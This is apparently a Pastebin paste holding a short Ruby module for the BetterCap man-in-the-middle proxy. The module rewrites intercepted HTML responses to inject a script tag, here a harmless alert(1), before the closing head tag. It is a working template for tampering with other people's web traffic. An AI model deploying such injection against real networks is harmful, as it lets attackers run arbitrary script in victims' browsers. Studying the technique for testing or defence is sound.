Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class HttpModul < BetterCap::Proxy::HTTP::Module
- def on_request(request,response)
- if response.content_type=~/^text\/html.*/
- injection = "<script type='text/javascript'>alert(1);</script></head>"
- response.body.sub!(/<\/head>/i) {injection}
- end
- end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement